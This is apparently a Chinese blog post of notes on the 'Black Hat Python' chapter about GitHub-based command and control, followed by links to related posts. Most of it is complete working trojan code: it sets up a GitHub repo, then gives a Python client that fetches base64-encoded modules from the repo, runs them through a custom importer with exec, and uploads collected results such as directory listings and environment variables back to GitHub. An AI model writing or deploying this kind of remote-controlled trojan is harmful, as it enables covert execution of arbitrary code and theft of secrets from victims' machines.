《Python黑帽子:黑客与渗透测试编程之道》 基于GitHub的命令和控制
GitHub账号设置
mkdir trojan
cd trojan
git init
mkdir modules
mkdir config
mkdir data
touch modules/.gitignore
touch config/.gitignore
touch data/.gitignore
git add .
git commit -m "Adding repo structure for trojan."
git remote add origin https://github.com/<你的GitHub用户名>/chapter7.git
git push origin master
创建模块
dirlist.py:
import os
def run(**args):
print "[*] In dirlister module. "
files = os.listdir(".")
return str(files)
environment.py:
import os def run(**args):
print "[*] In environment module. "
return str(os.environ)
在项目的主目录中通过下面命令将其推送上去:
git add .
git commit -m "Adding new modules"
git push origin master
木马配置:
进入config目录,新建abc.json:
[
{
"module" : "dirlister"
},
{
"module" : "environment"
}
]
推送代码上去GitHub:
git add . git commit -m "Adding simple config." git push origin master
编写基于GitHub通信的木马
#!/usr/bin/python
#coding=utf-8 import json
import base64
import sys
import time
import imp
import random
import threading
import Queue
import os from github3 import login trojan_id = "abc" trojan_config = "%s.json"%trojan_id
data_path = "data/%s/"%trojan_id
trojan_modules = []
configured = False
task_queue = Queue.Queue() def connect_to_github():
gh = login(username="你的GitHub用户名",password="密码")
repo = gh.repository("你的GitHub用户名","chapter7")
branch = repo.branch("master") return gh,repo,branch def get_file_contents(filepath):
gh,repo,branch = connect_to_github()
tree = branch.commit.commit.tree.recurse() for filename in tree.tree:
if filepath in filename.path:
print "[*] Found file %s"%filepath
blob = repo.blob(filename._json_data['sha'])
return blob.content return None def get_trojan_config():
global configured
config_json = get_file_contents(trojan_config)
config = json.loads(base64.b64decode(config_json))
configured = True for task in config:
if task['module'] not in sys.modules:
exec("import %s"%task['module']) return config def store_module_result(data):
gh,repo,branch = connect_to_github()
remote_path = "data/%s/%d.data"%(trojan_id,random.randint(1000,100000))
repo.create_file(remote_path,"Commit message",base64.b64encode(data))
return class GitImporter(object):
"""docstring for GitImporter"""
def __init__(self):
self.current_module_code = "" def find_module(self,fullname,path=None):
if configured:
print "[*] Attempting to retrieve %s"%fullname
new_library = get_file_contents("modules/%s"%fullname) if new_library is not None:
self.current_module_code = base64.b64decode(new_library)
return self return None def load_module(self,name):
module = imp.new_module(name)
exec self.current_module_code in module.__dict__
sys.modules[name] = module return module def module_runner(module):
task_queue.put(1)
result = sys.modules[module].run()
task_queue.get() #保存结果到我们的repo中
store_module_result(result) return #木马的主循环
sys.meta_path = [GitImporter()] while True:
if task_queue.empty():
config = get_trojan_config()
for task in config:
t = threading.Thread(target=module_runner,args=(task['module'],))
t.start()
time.sleep(random.randint(1,10)) time.sleep(random.randint(1000,10000))
《Python黑帽子:黑客与渗透测试编程之道》 基于GitHub的命令和控制的更多相关文章
- python黑帽子-黑客与渗透测试编程之道(源代码)
链接: https://pan.baidu.com/s/1i5BnB5V 密码: ak9t
- 读书笔记 ~ Python黑帽子 黑客与渗透测试编程之道
Python黑帽子 黑客与渗透测试编程之道 <<< 持续更新中>>> 第一章: 设置python 环境 1.python软件包管理工具安装 root@star ...
- 2017-2018-2 20179204 PYTHON黑帽子 黑客与渗透测试编程之道
python代码见码云:20179204_gege 参考博客Python黑帽子--黑客与渗透测试编程之道.关于<Python黑帽子:黑客与渗透测试编程之道>的学习笔记 第2章 网络基础 t ...
- 《Python黑帽子:黑客与渗透测试编程之道》 扩展Burp代理
下载jython,在Burpsuite的扩展中配置jython路径: Burp模糊测试: #!/usr/bin/python #coding=utf-8 # 导入三个类,其中IBurpExtender ...
- 《Python黑帽子:黑客与渗透测试编程之道》 Web攻击
Web的套接字函数库:urllib2 一开始以urllib2.py命名脚本,在Sublime Text中运行会出错,纠错后发现是重名了,改过来就好: #!/usr/bin/python #coding ...
- 《Python黑帽子:黑客与渗透测试编程之道》 Scapy:网络的掌控者
窃取email认证: 测试代码: #!/usr/bin/python #coding=utf-8 from scapy.all import * #数据包回调函数 def packet_callbac ...
- 《Python黑帽子:黑客与渗透测试编程之道》 网络基础
TCP客户端: 示例中socket对象有两个参数,AF_INET参数表明使用IPv4地址或主机名 SOCK_STREAM参数表示是一个TCP客户端.访问的URL是百度. #coding=utf-8 i ...
- 《Python黑帽子:黑客与渗透测试编程之道》 玩转浏览器
基于浏览器的中间人攻击: #coding=utf-8 import win32com.client import time import urlparse import urllib data_rec ...
- 《Python黑帽子:黑客与渗透测试编程之道》 Windows下木马的常用功能
有趣的键盘记录: 安装pyHook: http://nchc.dl.sourceforge.net/project/pyhook/pyhook/1.5.1/pyHook-1.5.1.win32-py2 ...
随机推荐
- 使用jdbc编程实现对数据库的操作以及jdbc问题总结
1.创建数据库名为mybatis. 2. 在数据库中建立两张表,user与orders表: (1)user表: (2)orders表: 3.创建工程 * 开发环境: * eclipse mars * ...
- MVC,MVP,MVVM区别联系
本质上都是MVC,MVC在不同技术中的应用衍生出MVP,MVVM MVC:b/s MVP:c/s,尤其winform MVVM:wpf http://www.codeproject.com/Artic ...
- 剑指offer面试题3二维数组中的查找
题目: 在一个二维数组中,每一行都按照从左到右递增的顺序排序,每一列都按照从上到下递增的顺序排序.请完成一个函数,输入这样的一个二维数组和一个整数,判断数组中是否含有该整数. 需要与面试官确认的是,这 ...
- 函数中返回char *类型
记录一次比较容易引起混淆的地方. #include <stdio.h> char *str(void) { return "nihao\n"; } int main() ...
- dateframe取数据
import numpy as npimport pandas as pd## x1=[1,2,3,4]# x2=[4,5,6,7]# x3=[7,8,9,10]# df=pd.DataFrame(# ...
- Python os.chmod
os.chmod(path,mode) 这个方法应该很简单,只需要2个参数,一个是路径,一个是说明路径的模式,下面列出了这个用法中可以使用的一些常用的模式: stat.S_ISUID: Set use ...
- circos 绘制关系型图ribbon,并加入透明度
luminance = lum80<<include colors_fonts_patterns.conf>><colors># r,g,b,a color def ...
- URL编码转换函数:escape()、encodeURI()、encodeURIComponent()
函数出现时间: escape() javascript 1.0 ...
- Guava学习笔记:Preconditions优雅的检验参数(java)
http://www.cnblogs.com/peida/p/guava_preconditions.html 在日常开发中,我们经常会对方法的输入参数做一些数据格式上的验证,以便保证方法能够按照正常 ...
- Redis为什么是单线程
转自:https://www.zhihu.com/question/23162208 https://www.zhihu.com/question/55818031:加了一些个人的理解. Redis为 ...